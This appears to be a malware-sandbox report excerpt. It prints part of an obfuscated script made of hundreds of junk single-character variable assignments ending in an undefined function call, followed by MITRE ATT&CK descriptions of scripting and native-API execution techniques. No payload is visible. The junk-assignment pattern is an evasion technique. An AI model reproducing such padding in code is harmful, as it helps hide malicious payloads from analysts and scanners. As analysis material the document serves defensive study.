259	fustexmt = "M";
260	fustexmt = "X";
261	fustexmt = "m";
262	fustexmt = "e";
263	fustexmt = "v";
264	fustexmt = "E";
265	fustexmt = "K";
266	fustexmt = "M";
267	fustexmt = "p";
268	fustexmt = "v";
269	fustexmt = "I";
270	rwaibq = "c";
271	rwaibq = "B";
272	rwaibq = "M";
273	rwaibq = "y";
274	rwaibq = "j";
275	rwaibq = "a";
276	rwaibq = "P";
277	rwaibq = "t";
278	rwaibq = "q";
279	rwaibq = "T";
280	mlcmkrobn = "K";
281	mlcmkrobn = "Q";
282	mlcmkrobn = "s";
283	mlcmkrobn = "u";
284	mlcmkrobn = "o";
285	mlcmkrobn = "N";
286	mlcmkrobn = "G";
287	mlcmkrobn = "Q";
288	mlcmkrobn = "r";
289	mlcmkrobn = "E";
290	mlcmkrobn = "F";
291	aqidef = "u";
292	aqidef = "o";
293	aqidef = "f";
294	aqidef = "j";
295	aqidef = "E";
296	aqidef = "G";
297	aqidef = "b";
298	aqidef = "f";
299	aqidef = "B";
300	aqidef = "M";
301	aqidef = "o";
302	aqidef = "i";
303	aqidef = "t";
304	aqidef = "D";
305	aqidef = "l";
306	aqidef = "y";
307	aqidef = "c";
308	aqidef = "z";
309	aqidef = "Y";
310	aqidef = "e";
311	aqidef = "Q";
312	aqidef = "j";
313	aqidef = "g";
314	aqidef = "a";
315	aqidef = "a";
316	aqidef = "K";
317	aqidef = "C";
318	aqidef = "b";
319	aqidef = "F";
320	aqidef = "E";
321	aqidef = "X";
322	aqidef = "D";
323	aqidef = "j";
324	aqidef = "X";
325	aqidef = "a";
326	txqshyph = "s";
327	txqshyph = "q";
328	txqshyph = "N";
329	txqshyph = "U";
330	txqshyph = "c";
331	txqshyph = "f";
332	txqshyph = "R";
333	txqshyph = "a";
334	txqshyph = "N";
335	vbmlyfp = "M";
336	vbmlyfp = "a";
337	vbmlyfp = "a";
338	vbmlyfp = "N";
339	vbmlyfp = "O";
340	vbmlyfp = "t";
341	vbmlyfp = "a";
342	vbmlyfp = "z";
343	vbmlyfp = "H";
344	vbmlyfp = "v";
345	vbmlyfp = "r";
346	vbmlyfp = "d";
347	vbmlyfp = "y";
348	vbmlyfp = "I";
349	vbmlyfp = "G";
350	vbmlyfp = "c";
351	vbmlyfp = "J";
352	vbmlyfp = "v";
353	vbmlyfp = "Z";
354	vbmlyfp = "m";
355	vbmlyfp = "Y";
356	vbmlyfp = "U";
357	vbmlyfp = "w";
358	vbmlyfp = "m";
359	vbmlyfp = "q";
360	vbmlyfp = "X";
361	vbmlyfp = "&";
362	wzsbrv = "U";
363	wzsbrv = "A";
364	wzsbrv = "X";
365	wzsbrv = "B";
366	wzsbrv = "Z";
367	wzsbrv = "b";
368	wzsbrv = "z";
369	wzsbrv = "u";
370	wzsbrv = "P";
371	wzsbrv = "n";
372	wzsbrv = "G";
373	wzsbrv = "f";
374	wzsbrv = "H";
375	wzsbrv = "R";
376	wzsbrv = "j";
377	wzsbrv = "b";
378	wzsbrv = "z";
379	wzsbrv = "q";
380	wzsbrv = "b";
381	wzsbrv = "C";
382	wzsbrv = "v";
383	wzsbrv = "K";
384	wzsbrv = "I";
385	wzsbrv = ".";
386	lvfunim = "c";
387	lvfunim = "A";
388	lvfunim = "s";
389	lvfunim = "p";
390	lvfunim = "M";
391	lvfunim = "k";
392	lvfunim = "L";
393	lvfunim = "f";
394	lvfunim = "a";
395	lvfunim = "u";
396	lvfunim = "Z";
397	lvfunim = "i";
398	lvfunim = "h";
399	lvfunim = "R";
400	lvfunim = "v";
401	lvfunim = "C";
402	lvfunim = "m";
403	lvfunim = "S";
404	lvfunim = "h";
405	lvfunim = "f";
406	lvfunim = "b";
407	lvfunim = "M";
408	lvfunim = "K";
409	lvfunim = "R";
410	lvfunim = "K";
411	lvfunim = "q";
412	lvfunim = "F";
413	lvfunim = "s";
414	lvfunim = "h";
415	lvfunim = "d";
416	lvfunim = "p";
417	lvfunim = "W";
418	lvfunim = "n";
419	uydme = "J";
420	uydme = "R";
421	uydme = "S";
422	uydme = "z";
423	uydme = "o";
424	uydme = "u";
425	uydme = "D";
426	uydme = "X";
427	uydme = "m";
428	uydme = "N";
429	uydme = "s";
430	uydme = "l";
431	uydme = "B";
432	uydme = "S";
433	uydme = "J";
434	uydme = "c";
435	uydme = "l";
436	uydme = "b";
437	uydme = "g";
438	uydme = "f";
439	uydme = "G";
440	uydme = "n";
441	uydme = "y";
442	uydme = "b";
443	uydme = "F";
444	uydme = "q";
445	uydme = "h";
446	uydme = "u";
447	uydme = "i";
448	uydme = "B";
449	uydme = "q";
450	uydme = "F";
451	uydme = "Y";
452	uydme = ":";
453	pvyomc = "b";
454	pvyomc = "M";
455	pvyomc = "p";
456	pvyomc = "P";
457	pvyomc = "B";
458	pvyomc = "b";
459	pvyomc = "T";
460	pvyomc = "V";
461	pvyomc = "f";
462	pvyomc = "i";
463	pvyomc = "q";
464	pvyomc = "m";
465	pvyomc = "i";
466	pvyomc = "J";
467	pvyomc = "D";
468	pvyomc = "u";
469	pvyomc = "N";
470	pvyomc = "B";
471	pvyomc = "e";
472	pvyomc = "a";
473	pvyomc = "U";
474	pvyomc = "i";
475	pvyomc = "L";
476	pvyomc = "F";
477	pvyomc = "f";
478	pvyomc = "s";
479	pvyomc = "f";
480	pvyomc = "K";
481	pvyomc = "e";
482	pvyomc = "t";
483	pvyomc = "g";
484	pvyomc = "m";
485	pvyomc = "s";
486	pvyomc = "z";
487	pvyomc = "v";
488	pvyomc = "V";
489	pvyomc = "t";
490	pvyomc = "u";
491	pvyomc = "t";
492	pvyomc = "G";
493	pvyomc = "Q";
494	pvyomc = "n";
495	pvyomc = "P";
496	pvyomc = "L";
497	pvyomc = "_";
498	ftcmsgora = "M";
499	ftcmsgora = "g";
500	ynqgzbxs = "Q";
501	ynqgzbxs = "t";
502	zixqlxmm = "A";
503	zixqlxmm = "A";
504	zixqlxmm = "e";
505	iufxsbnz = "t";
506	iufxsbnz = "I";
507	iufxsbnz = "S";
508	iufxsbnz = "E";
509	iufxsbnz = "R";
510	iufxsbnz = "y";
511	iufxsbnz = "S";
512	iufxsbnz = "p";
513	iufxsbnz = "v";
514	iufxsbnz = "e";
515	iufxsbnz = "d";
516	iufxsbnz = "n";
517	iufxsbnz = "O";
518	iufxsbnz = "H";
519	yxycxxbdy = "U";
520	yxycxxbdy = "f";
521	yxycxxbdy = "J";
522	yxycxxbdy = "E";
523	yxycxxbdy = "T";
524	yxycxxbdy = "q";
525	yxycxxbdy = "i";
526	yxycxxbdy = "L";
527	yxycxxbdy = "G";
528	yxycxxbdy = "Y";
529	yxycxxbdy = "P";
530	yxycxxbdy = "I";
531	yxycxxbdy = "m";
532	yxycxxbdy = "s";
533	yxycxxbdy = "W";
534	yxycxxbdy = "G";
535	yxycxxbdy = "H";
536	yxycxxbdy = "V";
537	yxycxxbdy = "r";
538	yxycxxbdy = "w";
539	yxycxxbdy = "T";
540	yxycxxbdy = "Y";
541	yxycxxbdy = "l";
542	yxycxxbdy = "s";
543	yxycxxbdy = "c";
544	yxycxxbdy = "g";
545	yxycxxbdy = "j";
546	yxycxxbdy = "s";
547	yxycxxbdy = "q";
548	yxycxxbdy = "V";
549	yxycxxbdy = "j";
550	yxycxxbdy = "t";
551	yxycxxbdy = "E";
552	yxycxxbdy = "U";
553	yxycxxbdy = "d";
554	yxycxxbdy = "S";
555	yxycxxbdy = "r";
556	nyjzwv = "D";
557	nyjzwv = "e";
558	nyjzwv = "P";
559	nyjzwv = "g";
560	nyjzwv = "l";
561	nyjzwv = "1";
562	tdabfcscc = "q";
563	tdabfcscc = "Y";
564	tdabfcscc = "v";
565	tdabfcscc = "a";
566	tdabfcscc = "R";
567	tdabfcscc = "R";
568	tdabfcscc = "m";
569	tdabfcscc = "2";
570	rrmopc = "R";
571	rrmopc = "C";
572	rrmopc = "j";
573	rrmopc = "d";
574	rrmopc = "G";
575	rrmopc = "H";
576	rrmopc = "b";
577	rrmopc = "I";
578	rrmopc = "L";
579	rrmopc = "X";
580	rrmopc = "V";
581	rrmopc = "x";
582	rrmopc = "K";
583	rrmopc = "A";
584	rrmopc = "C";
585	rrmopc = "Z";
586	rrmopc = "Q";
587	juytgnf = "B";
588	juytgnf = "r";
589	juytgnf = "W";
590	juytgnf = "W";
591	juytgnf = "W";
592	juytgnf = "r";
593	juytgnf = "E";
594	juytgnf = "E";
595	advekprx = "t";
596	advekprx = "a";
597	advekprx = "G";
598	advekprx = "G";
599	advekprx = "w";
600	advekprx = "p";
601	advekprx = "f";
602	advekprx = "n";
603	advekprx = "n";
604	advekprx = "c";
605	advekprx = "s";
606	advekprx = "I";
607	advekprx = "p";
608	advekprx = "a";
609	advekprx = "f";
610	advekprx = "V";
611	advekprx = "4";
612	sryddx = "V";
613	sryddx = "E";
614	sryddx = "F";
615	sryddx = "I";
616	sryddx = "a";
617	sryddx = "g";
618	sryddx = "N";
619	sryddx = "y";
620	sryddx = "a";
621	sryddx = "b";
622	sryddx = "N";
623	sryddx = "Q";
624	sryddx = "F";
625	sryddx = "R";
626	sryddx = "j";
627	sryddx = "F";
628	sryddx = "q";
629	sryddx = "N";
630	sryddx = "S";
631	gkned = "o";
632	gkned = "N";
633	gkned = "i";
634	gkned = "l";
635	gkned = "Z";
636	gkned = "F";
637	gkned = "b";
638	gkned = "h";
639	gkned = "K";
640	gkned = "G";
641	gkned = "k";
642	gkned = "O";
643	gkned = "e";
644	gkned = "e";
645	gkned = "j";
646	gkned = "j";
647	gkned = "i";
648	gkned = "D";
649	gkned = "A";
650	gkned = "K";
651	gkned = "H";
652	gkned = "W";
653	gkned = "e";
654	gkned = "W";
655	gkned = "J";
656	gkned = "n";
657	gkned = "E";
658	gkned = "N";
659	gkned = "y";
660	gkned = "q";
661	gkned = "a";
662	gkned = "d";
663	gkned = "k";
664	gkned = "h";
665	gkned = "c";
666	gkned = "V";
667	gkned = "D";
668	gkned = "D";
669	gkned = "O";
670	gkned = "k";
671	gkned = "d";
672	gkned = "c";
673	ejqadzuh = "F";
674	ejqadzuh = "t";
675	ejqadzuh = "z";
676	ejqadzuh = "U";
677	ejqadzuh = "O";
678	ejqadzuh = "F";
679	ejqadzuh = "N";
680	ejqadzuh = "B";
681	ejqadzuh = "V";
682	ejqadzuh = "a";
683	ejqadzuh = "U";
684	ejqadzuh = "Y";
685	ejqadzuh = "y";
686	ejqadzuh = "k";
687	ejqadzuh = "c";
688	ejqadzuh = "C";
689	ejqadzuh = "E";
690	ejqadzuh = "k";
691	ejqadzuh = "s";
692	ejqadzuh = "r";
693	ejqadzuh = "u";
694	ejqadzuh = "x";
695	ejqadzuh = "t";
696	ejqadzuh = "t";
697	ejqadzuh = "C";
698	ejqadzuh = "m";
699	ejqadzuh = "d";
700	ejqadzuh = "F";
701	ejqadzuh = "v";
702	kllzjvn = "q";
703	kllzjvn = "X";
704	kllzjvn = "N";
705	kllzjvn = "J";
706	kllzjvn = "u";
707	kllzjvn = "T";
708	kllzjvn = "r";
709	kllzjvn = "A";
710	kllzjvn = "V";
711	kllzjvn = "M";
712	kllzjvn = "d";
713	kllzjvn = "F";
714	kllzjvn = "t";
715	kllzjvn = "f";
716	kllzjvn = "J";
717	kllzjvn = "Z";
718	kllzjvn = "3";
719	dyrxbsdtf = "c";
720	dyrxbsdtf = "d";
721	dyrxbsdtf = "E";
722	dyrxbsdtf = "S";
723	dyrxbsdtf = "U";
724	dyrxbsdtf = "y";
725	dyrxbsdtf = "b";
726	dyrxbsdtf = "F";
727	dyrxbsdtf = "j";
728	dyrxbsdtf = "M";
729	dyrxbsdtf = "T";
730	dyrxbsdtf = "T";
731	dyrxbsdtf = "I";
732	dyrxbsdtf = "E";
733	dyrxbsdtf = "V";
734	dyrxbsdtf = "G";
735	dyrxbsdtf = "H";
736	dyrxbsdtf = "M";
737	dyrxbsdtf = "R";
738	dyrxbsdtf = "U";
739	dyrxbsdtf = "E";
740	dyrxbsdtf = "i";
741	dyrxbsdtf = "B";
742	dyrxbsdtf = "G";
743	dyrxbsdtf = "y";
744	dyrxbsdtf = "H";
745	dyrxbsdtf = "Y";
746	dyrxbsdtf = "@";
747	kcthgqmn = "I";
748	kcthgqmn = "P";
749	kcthgqmn = "Q";
750	kcthgqmn = "z";
751	kcthgqmn = "b";
752	kcthgqmn = "y";
753	kcthgqmn = "N";
754	kcthgqmn = "F";
755	kcthgqmn = "H";
756	kcthgqmn = "T";
757	kcthgqmn = "j";
758	kcthgqmn = "P";
759	kcthgqmn = "B";
760	kcthgqmn = "s";
761	kcthgqmn = "P";
762	kcthgqmn = "o";
763	kcthgqmn = "n";
764	kcthgqmn = "l";
765	kcthgqmn = "Q";
766	kcthgqmn = "l";
767	kcthgqmn = "I";
768	kcthgqmn = "C";
769	kcthgqmn = "t";
770	kcthgqmn = "o";
771	kcthgqmn = "B";
772	kcthgqmn = "M";
773	kcthgqmn = "7";
774	brubcyaip = "i";
775	brubcyaip = "S";
776	brubcyaip = "w";
777	brubcyaip = "L";
778	brubcyaip = "f";
779	brubcyaip = "G";
780	brubcyaip = "w";
781	brubcyaip = "J";
782	brubcyaip = "s";
783	brubcyaip = "g";
784	brubcyaip = "d";
785	brubcyaip = "R";
786	brubcyaip = "h";
787	brubcyaip = "e";
788	brubcyaip = "b";
789	brubcyaip = "C";
790	brubcyaip = "b";
791	brubcyaip = "I";
792	brubcyaip = "Z";
793	brubcyaip = "K";
794	brubcyaip = "x";
795	brubcyaip = "d";
796	brubcyaip = "K";
797	brubcyaip = "Y";
798	hdfrgjdjz = "V";
799	hdfrgjdjz = "U";
800	hdfrgjdjz = "g";
801	hdfrgjdjz = "G";
802	hdfrgjdjz = "q";
803	hdfrgjdjz = "g";
804	hdfrgjdjz = "L";
805	hdfrgjdjz = "v";
806	hdfrgjdjz = "O";
807	hdfrgjdjz = "S";
808	hdfrgjdjz = "h";
809	hdfrgjdjz = "k";
810	hdfrgjdjz = "r";
811	hdfrgjdjz = "T";
812	hdfrgjdjz = "x";
813	hdfrgjdjz = "z";
814	hdfrgjdjz = "m";
815	hdfrgjdjz = "o";
816	hdfrgjdjz = "r";
817	hdfrgjdjz = "v";
818	hdfrgjdjz = "V";
819	hdfrgjdjz = "P";
820	hdfrgjdjz = "g";
821	hdfrgjdjz = "W";
822	hdfrgjdjz = "W";
823	hdfrgjdjz = "Q";
824	hdfrgjdjz = "a";
825	hdfrgjdjz = "q";
826	hdfrgjdjz = "u";
827	hdfrgjdjz = "x";
828	hdfrgjdjz = "M";
829	hdfrgjdjz = "X";
830	hdfrgjdjz = "f";
831	hdfrgjdjz = "R";
832	hdfrgjdjz = "x";
833	hdfrgjdjz = "%";
834	fedqtses = "R";
835	fedqtses = "s";
836	fedqtses = "d";
837	fedqtses = "t";
838	fedqtses = "H";
839	fedqtses = "U";
840	fedqtses = "Q";
841	fedqtses = "o";
842	fedqtses = "i";
843	fedqtses = "p";
844	fedqtses = "v";
845	fedqtses = "F";
846	fedqtses = "u";
847	fedqtses = "x";
848	fedqtses = "V";
849	fedqtses = "Z";
850	fedqtses = "j";
851	fedqtses = "b";
852	fedqtses = "M";
853	fedqtses = "I";
854	fedqtses = "G";
855	fedqtses = "r";
856	fedqtses = "O";
857	fedqtses = "R";
858	fedqtses = "I";
859	fedqtses = "U";
860	fedqtses = "q";
861	fedqtses = "Z";
862	fedqtses = "v";
863	fedqtses = "d";
864	fedqtses = "w";
865	fedqtses = "\\";
866	szxtuo = "G";
867	szxtuo = "C";
868	szxtuo = "b";
869	szxtuo = "O";
870	szxtuo = "v";
871	szxtuo = "b";
872	szxtuo = "d";
873	szxtuo = "l";
874	szxtuo = "v";
875	szxtuo = "v";
876	szxtuo = "S";
877	szxtuo = "O";
878	szxtuo = "e";
879	szxtuo = "B";
880	szxtuo = "u";
881	szxtuo = "h";
882	szxtuo = "g";
883	szxtuo = "J";
884	szxtuo = "C";
885	keglvpun = "r";
886	keglvpun = "g";
887	keglvpun = "n";
888	keglvpun = "o";
889	keglvpun = "R";
890	keglvpun = "c";
891	keglvpun = "T";
892	keglvpun = "w";
893	keglvpun = "O";
894	keglvpun = "Z";
895	keglvpun = "H";
896	keglvpun = "d";
897	keglvpun = "L";
898	keglvpun = "F";
899	keglvpun = "N";
900	keglvpun = "i";
901	keglvpun = "k";
902	keglvpun = "z";
903	keglvpun = "X";
904	keglvpun = "r";
905	keglvpun = "D";
906	keglvpun = "u";
907	keglvpun = "O";
908	keglvpun = "d";
909	keglvpun = "V";
910	keglvpun = "m";
911	mgyac = "H";
912	mgyac = "D";
913	mgyac = "Y";
914	mgyac = "E";
915	mgyac = "F";
916	mgyac = "I";
917	mgyac = "o";
918	mgyac = "l";
919	mgyac = "r";
920	mgyac = "x";
921	mgyac = "Y";
922	mgyac = "v";
923	mgyac = "P";
924	mgyac = "U";
925	mgyac = "U";
926	mgyac = "t";
927	mgyac = "u";
928	mgyac = "x";
929	mgyac = "q";
930	mgyac = "R";
931	mgyac = "l";
932	mgyac = "y";
933	mgyac = "D";
934	mgyac = "D";
935	mgyac = "e";
936	mgyac = "p";
937	mgyac = "Y";
938	mgyac = "u";
939	mgyac = "v";
940	mgyac = "O";
941	mgyac = "i";
942	mgyac = "T";
943	mgyac = "b";
944	mgyac = "D";
945	mgyac = "S";
946	mgyac = "H";
947	mgyac = "D";
948	mgyac = "K";
949	mgyac = "n";
950	mgyac = "b";
951	mgyac = "0";
952	qmvxpjdg = "q";
953	qmvxpjdg = "w";
954	qmvxpjdg = "v";
955	qmvxpjdg = "o";
956	qmvxpjdg = "S";
957	qmvxpjdg = "n";
958	qmvxpjdg = "P";
959	qmvxpjdg = "D";
960	qmvxpjdg = "F";
961	qmvxpjdg = "H";
962	qmvxpjdg = "c";
963	qmvxpjdg = "D";
964	qmvxpjdg = "l";
965	qmvxpjdg = "m";
966	qmvxpjdg = "k";
967	qmvxpjdg = "/";
968	todaaoqg = "D";
969	todaaoqg = "P";
970	todaaoqg = "P";
971	todaaoqg = "x";
972	todaaoqg = "h";
973	todaaoqg = "j";
974	todaaoqg = "R";
975	todaaoqg = "n";
976	todaaoqg = "u";
977	todaaoqg = "W";
978	todaaoqg = "l";
979	todaaoqg = "M";
980	todaaoqg = "Z";
981	todaaoqg = "o";
982	todaaoqg = "H";
983	todaaoqg = "V";
984	todaaoqg = "o";
985	todaaoqg = "S";
986	todaaoqg = "H";
987	todaaoqg = "o";
988	todaaoqg = "V";
989	todaaoqg = "u";
990	todaaoqg = "W";
991	todaaoqg = "E";
992	todaaoqg = "I";
993	todaaoqg = "e";
994	todaaoqg = "n";
995	todaaoqg = "s";
996	todaaoqg = "x";
997	oqssbtnk = "d";
998	oqssbtnk = "H";
999	oqssbtnk = "q";
1000	oqssbtnk = "r";
1001	oqssbtnk = "J";
1002	oqssbtnk = "r";
1003	oqssbtnk = "I";
1004	oqssbtnk = "u";
1005	oqssbtnk = "v";
1006	oqssbtnk = "d";
1007	oqssbtnk = "M";
1008	oqssbtnk = "n";
1009	oqssbtnk = "d";
1010	niklrtht = "a";
1011	niklrtht = "K";
1012	nczzfshsz = "d";
1013	nczzfshsz = "l";
1014	nczzfshsz = "A";
1015	nczzfshsz = "p";
1016	nczzfshsz = "v";
1017	nczzfshsz = "y";
1018	nczzfshsz = "w";
1019	nczzfshsz = "w";
1020	nczzfshsz = "C";
1021	nczzfshsz = "E";
1022	nczzfshsz = "Q";
1023	nczzfshsz = "u";
1024	nczzfshsz = "K";
1025	nczzfshsz = "n";
1026	nczzfshsz = "Q";
1027	nczzfshsz = "r";
1028	nczzfshsz = "a";
1029	nczzfshsz = "k";
1030	nczzfshsz = "P";
1031	nczzfshsz = "k";
1032	zxtgszl = "Y";
1033	zxtgszl = "O";
1034	zxtgszl = "e";
1035	zxtgszl = "f";
1036	zxtgszl = "s";
1037	zxtgszl = "N";
1038	zxtgszl = "r";
1039	zxtgszl = "p";
1040	zxtgszl = "m";
1041	zxtgszl = "M";
1042	zxtgszl = "B";
1043	zxtgszl = "c";
1044	zxtgszl = "X";
1045	zxtgszl = "t";
1046	zxtgszl = "b";
1047	zxtgszl = "F";
1048	zxtgszl = "w";
1049	zxtgszl = "P";
1050	zxtgszl = "b";
1051	zxtgszl = "W";
1052	zxtgszl = "U";
1053	zxtgszl = "A";
1054	zxtgszl = "j";
1055	zxtgszl = "e";
1056	zxtgszl = "t";
1057	zxtgszl = "Y";
1058	zxtgszl = "d";
1059	zxtgszl = "P";
1060	zxtgszl = "o";
1061	zxtgszl = "N";
1062	zxtgszl = "R";
1063	zxtgszl = "w";
1064	zxtgszl = "v";
1065	zxtgszl = "I";
1066	zxtgszl = "5";
1067	jsdwsns = "F";
1068	jsdwsns = "T";
1069	jsdwsns = "j";
1070	jsdwsns = "a";
1071	jsdwsns = "Z";
1072	jsdwsns = "Y";
1073	jsdwsns = "o";
1074	jsdwsns = "s";
1075	jsdwsns = "n";
1076	jsdwsns = "l";
1077	jsdwsns = "M";
1078	jsdwsns = "D";
1079	jsdwsns = "q";
1080	jsdwsns = "B";
1081	jsdwsns = "K";
1082	jsdwsns = "S";
1083	jsdwsns = "p";
1084	jsdwsns = "l";
1085	jsdwsns = "R";
1086	jsdwsns = "R";
1087	jsdwsns = "V";
1088	jsdwsns = "C";
1089	jsdwsns = "b";
1090	jsdwsns = "X";
1091	jsdwsns = "A";
1092	jsdwsns = "t";
1093	jsdwsns = "c";
1094	jsdwsns = "n";
1095	jsdwsns = "o";
1096	jsdwsns = "H";
1097	jsdwsns = "p";
1098	jsdwsns = "H";
1099	jsdwsns = "K";
1100	jsdwsns = "R";
1101	jsdwsns = "F";
1102	jsdwsns = "z";
1103	jsdwsns = "p";
1104	jsdwsns = "v";
1105	jsdwsns = "I";
1106	jsdwsns = "p";
1107	wchonykbb = "K";
1108	wchonykbb = "w";
1109	wchonykbb = "J";
1110	wchonykbb = "g";
1111	wchonykbb = "w";
1112	wchonykbb = "P";
1113	wchonykbb = "I";
1114	wchonykbb = "Z";
1115	wchonykbb = "W";
1116	phpcrxwq = "l";
1117	phpcrxwq = "g";
1118	phpcrxwq = "h";
1119	phpcrxwq = "j";
1120	phpcrxwq = "D";
1121	phpcrxwq = "I";
1122	phpcrxwq = "u";
1123	phpcrxwq = "k";
1124	phpcrxwq = "D";
1125	phpcrxwq = "D";
1126	phpcrxwq = "j";
1127	phpcrxwq = "k";
1128	phpcrxwq = "R";
1129	phpcrxwq = "V";
1130	phpcrxwq = "D";
1131	phpcrxwq = "i";
1132	phpcrxwq = "x";
1133	phpcrxwq = "U";
1134	phpcrxwq = "S";
1135	phpcrxwq = "8";
1136	wjohs = "Z";
1137	wjohs = "A";
1138	wjohs = "g";
1139	wjohs = "D";
1140	wjohs = "q";
1141	wjohs = "l";
1142	wjohs = "e";
1143	wjohs = "v";
1144	wjohs = "o";
1145	wjohs = "Q";
1146	wjohs = "z";
1147	wjohs = "m";
1148	wjohs = "f";
1149	mcazzwtv = "x";
1150	mcazzwtv = "r";
1151	mcazzwtv = "s";
1152	mcazzwtv = "m";
1153	mcazzwtv = "e";
1154	mcazzwtv = "z";
1155	mcazzwtv = "v";
1156	mcazzwtv = "u";
1157	mcazzwtv = "B";
1158	mcazzwtv = "M";
1159	mcazzwtv = "z";
1160	mcazzwtv = "j";
1161	mcazzwtv = "b";
1162	mcazzwtv = "J";
1163	mcazzwtv = "i";
1164	mcazzwtv = "Y";
1165	mcazzwtv = "Y";
1166	mcazzwtv = "q";
1167	mcazzwtv = "k";
1168	mcazzwtv = "A";
1169	mcazzwtv = "f";
1170	mcazzwtv = "D";
1171	mcazzwtv = "S";
1172	mcazzwtv = "u";
1173	mcazzwtv = "w";
1174	mcazzwtv = "K";
1175	mcazzwtv = "W";
1176	mcazzwtv = "F";
1177	mcazzwtv = "L";
1178	mcazzwtv = "e";
1179	mcazzwtv = "l";
1180	mcazzwtv = "x";
1181	mcazzwtv = "j";
1182	mcazzwtv = "d";
1183	mcazzwtv = "J";
1184	mcazzwtv = "x";
1185	mcazzwtv = "q";
1186	mcazzwtv = "H";
1187	mcazzwtv = "m";
1188	mcazzwtv = "z";
1189	mcazzwtv = "O";
1190	ysbhwtk = "p";
1191	ysbhwtk = "f";
1192	ysbhwtk = "P";
1193	ysbhwtk = "D";
1194	ysbhwtk = "v";
1195	ysbhwtk = "x";
1196	ysbhwtk = "H";
1197	ysbhwtk = "m";
1198	ysbhwtk = "q";
1199	ysbhwtk = "o";
1200	ysbhwtk = "d";
1201	ysbhwtk = "F";
1202	ysbhwtk = "z";
1203	ysbhwtk = "s";
1204	ysbhwtk = "M";
1205	ysbhwtk = "E";
1206	ysbhwtk = "I";
1207	ysbhwtk = "o";
1208	ysbhwtk = "J";
1209	ysbhwtk = "c";
1210	ysbhwtk = "U";
1211	ysbhwtk = "Y";
1212	ysbhwtk = "U";
1213	ysbhwtk = "w";
1214	ysbhwtk = "n";
1215	ysbhwtk = "w";
1216	ysbhwtk = "Z";
1217	ysbhwtk = "t";
1218	ysbhwtk = "g";
1219	ysbhwtk = "y";
1220	ysbhwtk = "Y";
1221	ysbhwtk = "B";
1222	ysbhwtk = "a";
1223	ysbhwtk = "p";
1224	ysbhwtk = "o";
1225	ysbhwtk = "v";
1226	ysbhwtk = "r";
1227	ysbhwtk = "g";
1228	ysbhwtk = "s";
1229	ysbhwtk = "R";
1230	ysbhwtk = "R";
1231	ysbhwtk = "u";
1232	rrcvx = "T";
1233	rrcvx = "I";
1234	rrcvx = "l";
1235	rrcvx = "r";
1236	rrcvx = "L";
1237	rrcvx = "L";
1238	rrcvx = "s";
1239	rrcvx = "g";
1240	rrcvx = "X";
1241	rrcvx = "a";
1242	rrcvx = "M";
1243	rrcvx = "Q";
1244	rrcvx = "q";
1245	rrcvx = "D";
1246	rrcvx = "w";
1247	rrcvx = "y";
1248	rrcvx = "a";
1249	rrcvx = "R";
1250	rrcvx = "w";
1251	dbhghwq = "Q";
1252	dbhghwq = "e";
1253	dbhghwq = "F";
1254	dbhghwq = "X";
1255	dbhghwq = "i";
1256	dbhghwq = "E";
1257	dbhghwq = "C";
1258	dbhghwq = "k";
1259	dbhghwq = "E";
1260	dbhghwq = "h";
1261	dbhghwq = "y";
1262	dbhghwq = "n";
1263	dbhghwq = "J";
1264	dbhghwq = "N";
1265	dbhghwq = "H";
1266	dbhghwq = "e";
1267	dbhghwq = "G";
1268	dbhghwq = "O";
1269	dbhghwq = "F";
1270	dbhghwq = "F";
1271	dbhghwq = "Y";
1272	dbhghwq = "S";
1273	dbhghwq = "Y";
1274	dbhghwq = "g";
1275	dbhghwq = "Y";
1276	dbhghwq = "N";
1277	dbhghwq = "n";
1278	dbhghwq = "i";
1279	qojvtgaiz = "H";
1280	qojvtgaiz = "F";
1281	qojvtgaiz = "Q";
1282	qojvtgaiz = "b";
1283	qojvtgaiz = "L";
1284	qojvtgaiz = "y";
1285	qojvtgaiz = "S";
1286	qojvtgaiz = "v";
1287	qojvtgaiz = "p";
1288	qojvtgaiz = "V";
1289	qojvtgaiz = "P";
1290	qojvtgaiz = "s";
1291	qojvtgaiz = "m";
1292	qojvtgaiz = "R";
1293	qojvtgaiz = "9";
1294	abwvtvyu = "E";
1295	abwvtvyu = "b";
1296	abwvtvyu = "O";
1297	abwvtvyu = "D";
1298	abwvtvyu = "G";
1299	abwvtvyu = "n";
1300	abwvtvyu = "x";
1301	abwvtvyu = "x";
1302	abwvtvyu = "A";
1303	abwvtvyu = "P";
1304	abwvtvyu = "c";
1305	abwvtvyu = "m";
1306	abwvtvyu = "X";
1307	abwvtvyu = "k";
1308	abwvtvyu = "f";
1309	abwvtvyu = "n";
1310	abwvtvyu = "b";
1311	flosurupo = "O";
1312	flosurupo = "k";
1313	flosurupo = "n";
1314	flosurupo = "j";
1315	flosurupo = "y";
1316	flosurupo = "o";
1317	flosurupo = "X";
1318	flosurupo = "E";
1319	flosurupo = "n";
1320	flosurupo = "j";
1321	flosurupo = "O";
1322	flosurupo = "Q";
1323	flosurupo = "J";
1324	flosurupo = "y";
1325	flosurupo = "F";
1326	flosurupo = "z";
1327	flosurupo = "m";
1328	flosurupo = "G";
1329	flosurupo = "K";
1330	flosurupo = "Q";
1331	flosurupo = "p";
1332	flosurupo = "X";
1333	flosurupo = "h";
1334	flosurupo = "v";
1335	flosurupo = "G";
1336	flosurupo = " ";
1337	xfehy = "i";
1338	xfehy = "H";
1339	xfehy = "d";
1340	xfehy = "f";
1341	xfehy = "o";
1342	yxdxpn ( );	yxdxpn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

